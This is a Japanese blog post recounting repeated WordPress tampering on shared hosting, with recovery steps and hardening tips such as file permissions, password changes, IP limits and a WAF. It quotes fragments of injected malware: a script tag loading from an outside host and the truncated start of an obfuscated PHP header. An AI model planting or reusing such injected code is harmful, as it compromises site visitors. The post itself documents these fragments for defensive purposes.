改ざんファイルをクリアしても残る問題

おそらく、Wordpressで作成されたホームページが最も改ざんされていると推察するにですが、最近のホスティングは簡単インストール機能でWordpressを容易にインストールできます。多少テーマの編集を習得すればだれでもそれなりのCMSページを作成できます。

その便利さの一方で、パーミッション755が多用されたWordpressページが無数作成されています。まるでご自由に改ざんしてくださいと言っているかのようです。

今年になり多くのホスティング会社は改ざん対策を強く求めるようになりました。特に共有サーバーが厄介です。自分のサイトに細心の注意を払って対策を施しても、同じサーバーを借りている他のユーザーが無知で改ざんされ放題であったら、そのサーバーを使用している全ユーザーがスパムサイトとして認定される場合があります。

Wordpressの改ざんの1つに、トロイの木馬を仕掛ける改ざんがあります。知らぬ間に自分のホームページが利用され、ウイルスメールが無数にばら撒かれます。 これを放っておくとメールサーバーのIPがスパムとしてブラックリストにのってしまいます。

ブラックリストにのると、送ったメールが相手に届かない現象が起こります。こうなると、ドメインを変更する、あるいはきれいなIPに変更する必要があります。場合によったら、ホスティング会社を変える必要もあるでしょう。

ホームページが改ざんされたらまず行うこと

法人でも個人でもホームページを公開している以上、改ざんに対して常に準備をしておくことが大切です。

数年前までは、ホームページの改ざんは他人事のようでしたが、この1年で異常なほど増加しています。

警視庁も警告しているように、大手企業や役所のホームページも容易に改ざんされる時代になってしまいました。

警視庁が公開している新種のウィルス対策

2か月前に改ざんされたトヨタは、未だにPDFファイルで対応しているよです。マルウェアの出所を調べてみると、韓国、北朝鮮、中国、ロシア、アメリカが多く、日本は被害国のように思えます。

さて、 ホームページの改ざん対策を行っていても、改ざんされることは十分あり得ます。改ざんされた時の対処法も考えておかなければなりません。気付かずにウィルスをまき散らしてしまったら多くの人に迷惑をかけることになります。

最新のウィルスソフトをインストールしていることを前提にまとめました。

1. FTPでサーバーにアクセスしてファイルをすべて削除する。同時に、FTPとサーバーのコントロールパネルのパスワードを複雑なものに変更する。
2. PCをウイルススキャンする。
3. バックアップデータをFTPでアップする。
4. .ftpaccessでIPアクセス制限をかける
5. ホームページが検索で「危険サイト」に認定されているが場合は、Googleのウェブマスタツールからマルウェアを除去した旨、報告する。
   ※安全が確認されたら数日で「危険サイト」は解除されます。

FTPのパスワードは複雑に

トヨタ自動車のホームページが改ざんされ、アクセスしたPCはウイルスに感染した可能性が。。。といったニュースが先月初旬に流れました。

警視庁のホームページでは、最近のホームページ改ざんが多発していることを警告しています。

以前はCMSの脆弱性が狙われていましたが、直近の改ざんはパスワードが解読される手口が多発しています。

---

7月18日に改ざんされたホームページにはfashionbagのフォルダーが作成され、その中身はＷｏｒｄｐｒｅｓｓでしたテーマは中国語で何者かがインストールしたようです。ＦＴＰによるアクセスです。

とりあえずの対応

• すべて削除して、バックアップをアップしました。
• .ftpaccessを設定して、ＩＰ制限をかけました。
• また、パスワードを英字と数字を混ぜ、10文字以上に変えました。

Wordpressの投稿記事タイトル部分が改ざん

ワードプレス、編集者モードで投稿した記事のタイトル後半部分にこの不明な記述が追加されていました。

「<script src="http://va.mu/caCS」を検索すると、多くのサイトが表示され、どうやらマルウェアのようです。多くのサイトが危険サイトになっていました。

phpファイル自体に書き込みはないようですが、タイムスタンプはあてにならないので、昨日公開されたWP3.52（改ざん対策版)にバージョンアップしようかと思いましたが、ホスティングサーバー側の仕様が古くてバージョンアップできません。

とりあえず、サーバー系のパスワードとワードプレスのパスワードを変更しました。これで様子見です。週末改ざんが行われると報告を受けましたので、もしかしたら、パスワードがハッキングされたかも???

20000ファイルが改ざん

2週間前、またホームページが改ざんされました。

今度はヘテムルサーバーにアップしていたwordpressのphpファイル、全部で約20000ファイルです。

各ファイルのヘッダー部分に下記のphpタグが埋め込まれていました。


<?php $zend_framework="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; @error_reporting(0); $zend_framework

※長いので以下省略

10日ほどでようやく削除が終わり、wordpressの動作確認を行っています。

今回の改ざんは以前の改ざんとは異なるものです。

1.
改ざんファイルのタイムスタンプが更新されていない。
2010年のファイルまで改ざんされ、しかもタイムスタンプは2010年のままです。

2.
不明の管理者がwordpressに追加されている。

3.
すべてのphpファイルに上部のタグが埋め込まれる。
※以前はindex.phpフィルが主でした。


追記
つい先日Wordpress3.52が公開されました。51から52ですが、内容は改ざん対策です。
来週、バージョンアップしようと思います。

ほぼ同じ時期にトヨタ自動車のサイトが改ざんされ、いまだにメンテナンス中です。今年になり、CMS系サイトへの改ざんは加速しています。

やっかいなマルウェア 続き

MaAfee、トレンドマイクロ、ノートン、そしてGoogleウェブマスターツールまで検知しないマルウェアに改ざんされているホームページは、本日ホスティングサーバー会社から下記の連絡を受け閉鎖されました。

----
被害拡大を防ぐため、該当ファイルのパーミッションを「000」へ変更いたしました。
----

改ざんされたホームページに、Wordpressはインストールされていませんでしたが、管理用にphpを使っていました。その階層のindex.phpにトロイ系のソースが仕込まれ、それがhtmlファイルを改ざんした主犯のような気がします。

結局、Googleのウェブマスタツールはこのマルウェアを検知できませんでした。今まで、このツールで数百ものホームページをチェックしていたので、改ざんをチェックできないマルウェアの存在は正直ショックです。

改ざん対策の現時点での総括

Wordpressは以下を実行
最新バージョンにする
※自動更新ではなく手動でおこなう。自動で行う場合、パーミッションの変更をFTPで行わなければならないので、むしろ手間になる。

パーミッションの変更
phpのパーミッションは604（config.phpは404）
ディレクトリは705
htaccessは604

WAFを導入する
ＷＡＦをオンにすると、動作しなくなる機能（プラグイン）がある。

定期的にファイルのデイトスタンプをチェックする。特にindex.phpの育成日付はチェック要。

当然ですが、バックアップはこまめに行う。

改ざんのあったホスティング

改ざんはどんなに対策を施しても避けられないと、最近は感じています。

仕事の関係で多くのレンタルサーバー会社のサーバーを取り扱っています。2年前にまず、ヘテムル、1年前にロリポップ、CPIとネットラピュタ等が改ざんされました。

ヘテムルの時は最悪でした、マルチィドメインで約30ドメイン活用していてすべてが改ざんされました。侵入口はWordpressです。バックアップがあるにせよ、すべて復旧させるのは非常に手間のかかることでした。正直、サーバーの移転を考えました。

ところが、当たり前のことですが、サーバー会社を変えても対策をしていなかったら、また改ざんされる可能性が高いことを知りました。ヘテムル側の対応は大変親切で改ざんされたデータをすべて送ってくれましたので、継続してヘテムルを使用しています。

Wordpressがやっかいなのは、対策用にファイルのパーミッションを604、404、705に手作業で変えても自動アップグレードでまた、644、755に戻ってしまいます。アップグレードのたびに手作業でパーミッションを変更しなければなりません。

多くのホスティング業者はWordpressを売りにしているのですが、改ざん等の対策はユーザーの責任としています。